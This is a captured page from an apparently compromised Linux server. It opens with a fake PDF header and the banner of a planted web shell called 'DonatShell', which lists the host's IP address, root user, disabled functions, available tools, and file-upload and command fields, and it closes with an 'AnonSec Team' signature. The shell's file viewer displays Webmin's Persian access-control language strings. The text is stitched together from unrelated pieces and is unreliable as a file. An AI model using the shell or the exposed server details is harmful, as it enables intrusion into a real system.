%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 49.231.201.246  /  Your IP : 216.73.216.149
Web Server : Apache/2.4.18 (Ubuntu)
System : Linux 246 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64
User : root ( 0)
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : exec,passthru,shell_exec,system,proc_open,popen,pcntl_exec
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/webmin/acl/lang/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /usr/share/webmin/acl/lang/fa.auto
index_screate=یک کاربر ایمن جدید ایجاد کنید.
index_twofactor=احراز هویت دو عاملی
index_joingroup=افزودن به گروه:
index_eulist=Failed to list users : $1
index_eglist=Failed to list groups : $1

edit_title3=کاربر وبمین ایمن ایجاد کنید
edit_readonly=This Webmin user should not be edited as it is managed by the $1 module. <a href='$2'>Click here</a> to bypass this warning and edit the user anyway - but beware that any manual changes may be over-written!
edit_cloneof=کلونینگ کاربر وبمین
edit_real=اسم واقعی
edit_email=ایمیل تماس
edit_passlocked=Password has not been changed for $1 days - account locked!
edit_passmax=Password has not been changed for $1 days - must be changed at next login
edit_passold=Password was last changed $1 days ago
edit_passtoday=گذرواژه کمتر از یک روز قبل تغییر کرده است
edit_twofactor=نوع احراز هویت دو عاملی
edit_twofactorprov=Using provider $1 with ID $2
edit_twofactorcancel=نیاز به تأیید اعتبار دو عاملی را حذف کنید
edit_twofactornone=هنوز هیچ راه اندازی نشده است
edit_twofactoradd=دو عامل را برای کاربر فعال کنید
edit_locale=محلی
edit_logout=زمان خروج از عدم فعالیت
edit_mins=دقایق
edit_chars=نامه ها
edit_minsize=حداقل طول رمز عبور
edit_nochange=روزهای تغییر رمز عبور را اجرا می کنید؟
edit_egone=کاربر انتخاب شده دیگر وجود ندارد!
edit_overlay=پوشش شخصی موضوع
edit_overlayglobal=هیچ یک - از پیش فرض های موضوعی استفاده نکنید
edit_forgot=ارسال لینک بازیابی رمز عبور
edit_global=مجوز برای همه ماژول ها
edit_templock=به طور موقت قفل شده است
edit_temppass=تغییر نیرو در ورود بعدی
edit_days=روزهای مجاز هفته
edit_alldays=هر روز
edit_seldays=فقط روزهای منتخب..
edit_hours=بارهای مجاز روز
edit_allhours=هر زمان
edit_selhours=From $1:$2 to $3:$4
edit_ui=گزینه های رابط کاربر
edit_security=امنیت و گزینه ها را محدود می کند
edit_mods=ماژول های موجود در وبمین
edit_modsg=ماژول های موجود در وبمین (علاوه بر برنامه های گروه)
edit_proto=نوع ذخیره سازی
edit_proto_mysql=پایگاه داده MySQL
edit_proto_postgresql=پایگاه داده PostgreSQL
edit_proto_ldap=سرور LDAP
edit_proto_=پرونده های محلی
edit_safe=سطح امتیاز
edit_safe0=بدون محدودیت
edit_safe1=فقط ماژول های ایمن
edit_unsafe=تنظیم مجدد در نامحدود

save_eunixname=The username '$1' is not a Unix user, and so cannot be used in safe mode
save_eoverlay=روکش موضوع نمی تواند انتخاب شود مگر اینکه موضوع باشد
save_epass=Password is not valid : $1
save_elogouttime=زمان خروج از عدم فعالیت یا عدم عددی نیست
save_eminsize=حداقل طول رمز عبور وجود ندارد یا غیر عددی است
save_edays=هیچ روز اجازه انتخاب وجود ندارد
save_ehours=بارهای نامعتبر یا نامعتبر است
save_ehours2=زمان شروع اجازه باید قبل از پایان باشد
save_etemp=The option to force a password change at next login cannot be used unless <a href='$1'>prompting users to enter new passwords</a> is enabled
save_eemail=آدرس ایمیل نمی‌تواند شامل کاراکتر : باشد

delete_eanonuser=این کاربر برای دسترسی به ماژول ناشناس استفاده می شود

cert_etempdir=پرونده گواهی نامعتبر است

acl_locale=آیا می توان منطقه را تغییر داد؟
acl_egroup=شما مجاز به ویرایش ACL های گروهی نیستید
acl_times=آیا می توان بار ورود به سیستم مجاز را تغییر داد؟
acl_pass=آیا می توانید محدودیت های رمز عبور را تغییر دهید؟
acl_sql=آیا می توان پایگاه داده کاربر و گروه را پیکربندی کرد؟

log_delete_users=Deleted $1 Webmin users
log_delete_groups=Deleted $1 Webmin groups
log_joingroup=Added $1 Webmin users to group $2
log_pass=محدودیت های رمز عبور تغییر کرده است
log_unix=احراز هویت کاربر یونیکس تغییر یافته است
log_sync=همگام سازی کاربر یونیکس تغییر کرده است
log_sql=بانک اطلاعاتی کاربر و گروه تغییر یافت
log_twofactor=Enrolled user $1 with two-factor provider $2
log_onefactor=Dis-enrolled user $1 for two-factor authentication
log_forgot_send=ایمیل بازنشانی رمز عبور برای کاربران $1 تا $2 ارسال شد
log_forgot_reset=بازنشانی رمز عبور برای کاربر $1 با ایمیل $2
log_forgot_admin=مدیر ایمیل بازنشانی رمز عبور را برای کاربران $1 تا $2 ارسال کرد

gedit_desc=توضیحات گروه
gedit_egone=گروه منتخب دیگر وجود ندارد!

gsave_edesc=توضیحات نامعتبر - کاراکتر مجاز نیست

convert_sync2=همگام سازی رمز عبور با کاربر یونیکس در آینده؟
convert_user=کاربر یونیکس
convert_action=اقدامی انجام شد
convert_done=$1 users converted, $2 invalid, $3 already exist, $4 excluded.
convert_users=کاربران برای تبدیل

sync_when=چه موقع همگام سازی
sync_modify=با تغییر نام کاربر یونیکس ، به کاربر مطابق وبمین تغییر نام دهید.

unix_err=ذخیره احراز هویت یونیکس انجام نشد
unix_sel=به کاربران Unix که در زیر ذکر شده اجازه دهید وارد شوید..
unix_mode=اجازه
unix_mall=تمام کاربران
unix_group=اعضای گروه..
unix_who=کاربر یا گروه
unix_to=به عنوان کاربر وبمین
unix_restrict2=محدودیت های اضافی
unix_ewhogroup=Missing group to allow in row $1
unix_ewhouser=Missing user to allow in row $1
unix_enone=هیچ کاربر یا گروه Unix برای ورود مجاز نیستند
unix_same=&lt;همان کاربر یا گروه&gt;
unix_sudo=به کاربرانی که می توانند کلیه دستورات را از طریق <tt>sudo</tt> اجرا کنند ، به عنوان <tt>root</tt> وارد شوید
unix_pamany=Treat logins that only pass PAM validation as $1
unix_esudo=The $1 command is not installed
unix_esudomod=The Perl module $1 needed for <tt>sudo</tt> authentication is not installed
unix_header=تنظیمات تأیید اعتبار کاربر یونیکس
unix_utable=کاربران مجاز Unix

sessions_host=آدرس آی پی
sessions_actions=اقدامات..
sessions_all=تمام جلسات..
sessions_logouts=همچنین جلسات ورود به سیستم را نشان دهید..
sessions_state=دولت
sessions_action=اقدامات
sessions_this=این ورود
sessions_in=وارد شده
sessions_out=خارج شد
sessions_kill=قطع شدن..

logins_title=ورود به وب اخیر

rbac_ecpan=You do not have access to Webmin's Perl Modules page in order to install the necessary $1 module for RBAC integration.

udeletes_err=کاربران حذف نشدند
udeletes_jerr=افزودن کاربران به گروه انجام نشد
udeletes_enone=هیچ یک انتخاب نشده است
udeletes_title=حذف کاربران
udeletes_rusure=Are you sure you want to delete the $1 selected users? All of their access control settings and user details will be lost.
udeletes_users=Selected users: $1
udeletes_ok=حذف کاربران
udeletes_ereadonly=یکی از کاربران انتخاب شده به عنوان غیر قابل ویرایش مشخص شده است

gdeletes_err=حذف گروه ها انجام نشد
gdeletes_title=حذف گروه ها
gdeletes_rusure=Are you sure you want to delete the $1 selected groups, and the $2 users they contain? All of their access control settings and user details will be lost.
gdeletes_users=Selected groups: $1
gdeletes_ok=حذف گروه ها

pass_title=محدودیت های رمز عبور
pass_ecannot=شما مجاز به ویرایش محدودیت های رمز عبور نیستید
pass_header=گزینه های اجرای رمز عبور وبمین
pass_minsize=حداقل طول رمز عبور
pass_nominsize=حداقل
pass_regexps=کلمات عبور عبارات منظم باید مطابقت داشته باشند
pass_regdesc=توضیحات قابل خواندن انسان برای بیان منظم
pass_maxdays=روزهای قبل باید رمزعبور تغییر کند
pass_lockdays=روزها قبل از تغییر حساب قفل رمز عبور بدون تغییر
pass_nomaxdays=تغییر هرگز مورد نیاز نیست
pass_nolockdays=حساب هرگز قفل نیست
pass_nouser=رمزهای عبور حاوی نام کاربری را غیرفعال کنید؟
pass_nodict=کلمه عبور کلمه لغت را مجاز نمی دانید؟
pass_oldblock=تعداد کلمه عبورهای قدیمی برای رد کردن
pass_nooldblock=محدودیتی برای استفاده مجدد از گذرواژه وجود ندارد
pass_days=روزها
pass_pass=کلمات عبور
pass_err=محدودیت های گذرواژه ذخیره نشد
pass_eminsize=حداقل طول رمز عبور وجود ندارد یا غیر عددی است
pass_emaxdays=تعداد روزهای قبل یا تغییر تعداد غیر عددی
pass_elockdays=تعداد روزهای قبل از قفل شدن شماره یا تعداد غیر عددی موجود است
pass_eoldblock=تعداد رمزهای قدیمی برای رد یا غیر عددی وجود ندارد

cpass_minsize=Must be at least $1 letters long
cpass_notre=با الگوی مجاز مجاز مطابقت دارد
cpass_re=با الگوی مورد نیاز مطابقت ندارد
cpass_name=دارای نام کاربری است
cpass_dict=یک کلمه فرهنگ لغت است
cpass_spellcmd=Neither the $1 or $2 commands needed to check for dictionary words is installed
cpass_old=رمزهای عبور قدیمی قابل استفاده مجدد نیستند

sql_title=بانک اطلاعاتی کاربر و گروه
sql_ecannot=شما مجاز به پیکربندی بانک اطلاعاتی کاربر و گروه نیستید
sql_header=گزینه های با پس زمینه پایگاه داده برای کاربران و گروه ها
sql_host=نام میزبان
sql_user=نام کاربری
sql_pass=کلمه عبور
sql_db=نام پایگاه داده
sql_ssl=رمزگذاری اتصال
sql_ssl0=هیچ یک
sql_ssl1=SSL
sql_ssl2=TLS
sql_userclass=کلاس شی برای کاربران
sql_groupclass=کلاس شی برای گروه ها
sql_euserclass=کلاس شیء نامعتبر یا نامعتبر برای کاربران
sql_egroupclass=کلاس شی موجود نیست یا نامعتبر است
sql_none=فقط از فایلهای محلی برای ذخیره کاربران و گروه ها استفاده کنید
sql_mysql=از پایگاه داده MySQL استفاده کنید
sql_postgresql=از پایگاه داده PostgreSQL استفاده کنید
sql_ldap=از سرور LDAP استفاده کنید
sql_prefix=زیر DN ایجاد کنید
sql_addto0=کاربران جدید را به پایگاه داده انتخاب شده در بالا اضافه کنید
sql_addto1=کاربران جدید را به پرونده های محلی اضافه کنید
sql_nocache0=اتصالات حافظه نهان به پایگاه داده
sql_nocache1=برای هر جستجوی اتصال جدیدی را باز کنید
sql_emod=Missing required Perl module <tt>$1</tt>
sql_etable=Failed to query required table $1 : $2
sql_eldapdn=Base LDAP DN $1 was not found
sql_eclass=LDAP object class $1 does not exist in the server's schema
sql_err=تنظیمات بانک اطلاعاتی کاربر و گروه ذخیره نشد
sql_ehost=نام میزبان موجود نیست یا غیرقابل حل است
sql_euser=نام کاربری موجود یا نامعتبر است (هیچ فضایی مجاز نیست)
sql_epass=گذرواژه نامعتبر است (هیچ فضای مجاز نیست)
sql_edb=نام بانک اطلاعاتی نامعتبر است (هیچ فضایی مجاز نیست)
sql_eprefix=پایه DN وجود ندارد یا نامعتبر است (هیچ فضایی مجاز نیست)
sql_eprefix2=پایه DN بی اعتبار - باید مانند <tt>dc = mydomain ، dc = com</tt> باشد
sql_title2=جداول گمشده ایجاد کنید
sql_tableerr=User and group database settings are valid, but some tables needed by Webmin are missing : $1
sql_tableerr2=روی دکمه <b>ایجاد جداول</b> در زیر کلیک کنید تا آنها به طور خودکار ایجاد شوند یا SQL را به صورت دستی اجرا کنید.
sql_make=جداول ایجاد کنید
sql_title3=Miss DN را ایجاد کنید
sql_dnerr=User and group database settings are valid, but the LDAP DN needed by Webmin is missing : $1
sql_dnerr2=بر روی دکمه <b>ایجاد DN</b> زیر کلیک کنید تا به صورت خودکار ایجاد شود ، یا آن را به صورت دستی به سرور LDAP خود اضافه کنید.
sql_makedn=ایجاد DN
sql_schema=دانلود طرحواره LDAP
sql_timeout_def=استفاده از زمان قطع پیش فرض اتصال (60 ثانیه)
sql_timeout_for=اتصالات حافظه پنهان را بعد از آن ببندید
sql_timeout_secs=ثانیه
sql_etimeout=مهلت قطع اتصال پنهان باید یک عدد باشد

make_title=جداول کاربری و گروهی ایجاد کنید
make_err=جداول کاربر و گروه انجام نشد
make_exec=Executing SQL $1 ..
make_failed=.. creation failed : $1
make_done=.. انجام شده
make_still=Some problems were found even after table creation : $1

makedn_title=LDAP DN ایجاد کنید
makedn_eoc=هیچ کلاس شیء ساختاری یافت نشد!
makedn_exec=Creating parent DN $1 ..
makedn_failed=.. creation failed : $1
makedn_done=.. انجام شده
makedn_still=Some problems were found even after DN creation : $1

schema_title=دانلود طرحواره LDAP
schema_desc=قبل از اینکه وبمین بتواند از یک سرور LDAP برای ذخیره کاربران و گروه ها استفاده کند ، برای استفاده از طرح زیر باید پیکربندی شود. این به طور معمول می تواند با ذخیره کردن تعریف طرحواره در <tt>/etc/ldap/schema</tt> یا <tt>/etc/openldap/schema</tt> به عنوان <tt>webmin.schema</tt> انجام شود ، سپس پیکربندی سرور برای بارگیری آن پرونده طرحواره.
schema_download=Download schema file : <a href=$1>$1</a>

twofactor_err=تنظیم احراز هویت دو عاملی انجام نشد
twofactor_euser=کاربر وبمین شما یافت نشد!
twofactor_title=احراز هویت دو عاملی
twofactor_disable=تأیید هویت دو عاملی را غیرفعال کنید
twofactor_already=Your Webmin login already has two-factor authentication enabled with provider $1 and account ID $2.
twofactor_already2=Webmin login $3 already has two-factor authentication enabled with provider $1 and account ID $2.
twofactor_desc=This page allows you to enable two-factor authentication for your Webmin login using <a href='$2' target=_blank>$1</a>. Once active, an additional authentication token will be required when logging into Webmin.
twofactor_desc2=This page allows you to enable two-factor authentication for Webmin login $3 using <a href='$2' target=_blank>$1</a>. Once active, an additional authentication token will be required when logging into Webmin.
twofactor_enable=ثبت نام در تأیید هویت دو عاملی
twofactor_header=جزئیات ثبت نام احراز هویت دو عاملی
twofactor_enrolling=Enrolling for two-factor authentication with provider $1 ..
twofactor_failed=.. enrollment failed : $1
twofactor_done=.. complete. Your ID with this provider is <tt>$1</tt>.
twofactor_setup=Two-factor authentication has not been enabled on this system yet, but can be turned on using the <a href='$1'>Webmin Configuration</a> module.
twofactor_ebutton=هیچ دکمه ای کلیک نشد!

forgot_title=ارسال لینک بازیابی رمز عبور
forgot_err=ارسال لینک بازیابی رمز عبور ناموفق بود
forgot_header=جزئیات لینک بازنشانی رمز عبور
forgot_user=بازنشانی رمز عبور برای کاربر
forgot_email=روش تحویل لینک
forgot_email_def=نمایش لینک در وب‌مین
forgot_email_sel=ارسال لینک از طریق ایمیل به
forgot_send=ارسال لینک
forgot_desc=این صفحه به شما امکان می‌دهد لینکی ایجاد کنید یا آن را به هر آدرس ایمیلی ارسال کنید که می‌تواند برای انتخاب رمز عبور جدید برای کاربر وب‌مین استفاده شود. مراقب باشید که این لینک را به کدام آدرس ایمیل ارسال می‌کنید، زیرا عملاً دسترسی کامل به ورود به وب‌مین را اعطا می‌کند!
forgot_adminmsg=شما این ایمیل را از مدیر سیستم وب‌مین در $3، برای ورود به سیستم $1 دریافت می‌کنید.\n\nاگر مایل به تنظیم مجدد رمز عبور هستید، این لینک را دنبال کنید:\n$2
forgot_sending=ارسال ایمیل بازنشانی رمز عبور برای $2 تا $1 ..
forgot_sent=.. ارسال شد
forgot_link=از لینک زیر می‌توان برای تنظیم مجدد رمز عبور وب‌مین برای $1 در $2 دقیقه بعدی استفاده کرد :
forgot_enosudo=سودو روی این سیستم در دسترس نیست!
forgot_ecansudo=کاربر وارد شده مجوزهای sudo را ندارد
forgot_eunix=کاربر وارد شده که قابلیت sudo دارد، وجود ندارد!

Anon7 - 2022
AnonSec Team